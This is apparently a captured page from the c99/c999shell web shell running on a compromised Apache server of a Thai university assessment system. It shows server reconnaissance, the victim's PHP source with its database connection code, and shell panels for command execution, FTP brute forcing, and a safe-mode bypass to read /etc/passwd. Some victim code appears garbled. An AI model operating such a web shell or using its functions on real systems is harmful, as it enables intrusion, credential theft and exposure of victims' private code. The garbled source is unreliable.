!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/eassess/admin/   drwxr-xr-x
Free 52.3 GB of 127.8 GB (40.92%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     detailHoldStd.php (4.93 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "../../class/clsDB.php";
include_once 
"../../class/clsConnection.php";
include_once 
"../global.php";
include_once 
"../class/clsReg_Program.php";
include_once 
"../class/clsReg_SysSemesterDes.php";
//include_once "../class/clsStudentAssess.php";
include_once "../class/clsAssessForm.php";
include_once 
"../class/clsDefineAssessment.php";
include_once 
"../class/clsDoAssessmentHStd.php";
include_once 
"../class/clsHoldStudent.php";

$oCR = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_REG'], $GLOBALS['USER_REG'], $GLOBALS['PASSWORD_REG']);

$oCA = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_EASS'], $GLOBALS['USER_EASS'], $GLOBALS['PASSWORD_EASS']);

$oAF = new AssessForm($oCA);
$oDA = new DefineAssessment($oCA);
$oDoHStd = new DoAssessmentHStd($oCA);
$oHStd = new HoldStudent($oCA);

$oDA->SearchByKey($defineid,$acadYear,$semester,$noAss);
$oDA->GetRecord();

$oSse = new SysSemesterDes($oCR);
$oSse->SearchByKey($oDA->semester);
$oSse->GetRecord();

$oAF->SearchByKey($oDA->assid);
$oAF->GetRecord();

$DoAssStd $oDoHStd->CountDoidByDefineid($oDA->defineid);
?>
<html>
<head>
<title>แสดงรายละเอียดของแบบประเมินที่ขึ้นกัีบชั้นปีนักศึกษา</title>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
</head><br>
<table width="97%" height="174" border="0" align="center" cellpadding="0" cellspacing="2" >
  <tr align="center"> 
    <td height="22" colspan="2"><font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><img src="../picture/add.gif" width="18" height="19"><u>รายละเอียดกำหนดช่วงเวลาและแบบประเมินที่ขึ้นกับชั้นปีนักศึกษา</u></font><br></td>
  </tr>
  <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>"> 
    <td height="22"><font color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><b>&nbsp;ลำดับที่</b></font></td>
    <td width="71%"><? echo $oDA->noAss;  ?></td>
  </tr>
  <tr> 
    <td width="29%" height="22"><font color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><b>&nbsp;ปีการศึกษา</b></font></td>
    <td><font color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo $oSse->semesterName;?>/<? echo $oDA->acadYear;  ?></font></td>
  </tr>
  <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>"> 
    <td height="22"><font color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><b>&nbsp;แบบประเมินที่เลือกใช้</b></font></td>
    <td height="22"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">
      <?  if($oAF->maintopic == ""){ echo $oAF->nameAss." <img src = \"../picture/warn.png\" border = \"0\">"; }else{ echo $oAF->maintopic; } ?>
    </font></td>
  </tr>
  <tr> 
    <td height="24"><font color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><b>&nbsp;ช่วงเวลาประเมิน</b></font></td>
    <td height="24"> 
      <?php  echo abbreDate2($oDA->startDate,'/');?>
      <font color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><b>&nbsp;ถึง</b></font> 
      <?php  echo abbreDate2($oDA->endDate,'/');?>
      <font color="<?php echo $GLOBALS["COLOR_FONT_4"];?>">&nbsp;</font></td>
  </tr>
  <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>"> 
    <td height="24"><font color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><b>&nbsp;วันที่ปิดการประเมิน</b></font></td>
    <td colspan="3"><?php  echo abbreDate2($oDA->closeDate,'/');?></td>
  </tr>
  <tr> 
    <td height="24"><font color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><b>&nbsp;สถานะการประเมิน</b></font></td>
    <td height="24"><font color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"> 
      <? if($DoAssStd == 0){ ?>
      <img src = "../picture/no.gif" width="13" height="13"> ยังไม่มีผู้เข้ามาประเมิน 
      <? } else if($DoAssStd 0){ ?>
      <img src = "../picture/yes.gif" width="13" height="13">มีผู้เข้ามาประเมินแล้ว 
      <? ?>
      </font></td>
  </tr>
  <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>"> 
    <td height="22"><font color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><b>&nbsp;ประเมินชั้นนักศึกษา</b></font></td>
    <td height="22"><font color="<?php echo $GLOBALS["COLOR_FONT_4"];?>">ชั้นปีที่ 
      <?php
                                $x
=1;
                                
$oHStd->SearchByDefineid($defineid);
                                while(
$oHStd->GetRecord()){ 
                                
//    $oStd = new StudentAssess($oCA);
                                //    $Tm1 = $oStd->CountStdBystdYearAss($oHStd->stdYearAss);
                                //    $numStdAll = $Tm2+$Tm1;
                                //    $Tm2 = $numStdAll;

                                    
$stdYearAssTmp[$x] = $oHStd->stdYearAss;
                                    
$x++;
                                }
                                
$round 0;                        
                                for(
$i=1;$i<=4;$i++){                            
                                    if(
$stdYearAssTmp[$i] != ""){
                                        
$round ++;
                                    }
                                }        
            
                                for(
$i=1;$i<=4;$i++){        
                                    echo 
$stdYearAssTmp[$i];
                                    if(
$i<=$round-1){
                                        echo 
",";
                                    }
                                }
                            
?>
      </font> </td>
  </tr>
</table>
<br>
<table width="97%" border="0" align="center">
  <tr> 
    <td align="center"><a href="#" onClick="window.close()"><font size="2" face="Microsoft Sans Serif">[ปิดหน้าต่าง]</font></a></td>
  </tr>
</table>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0055 ]--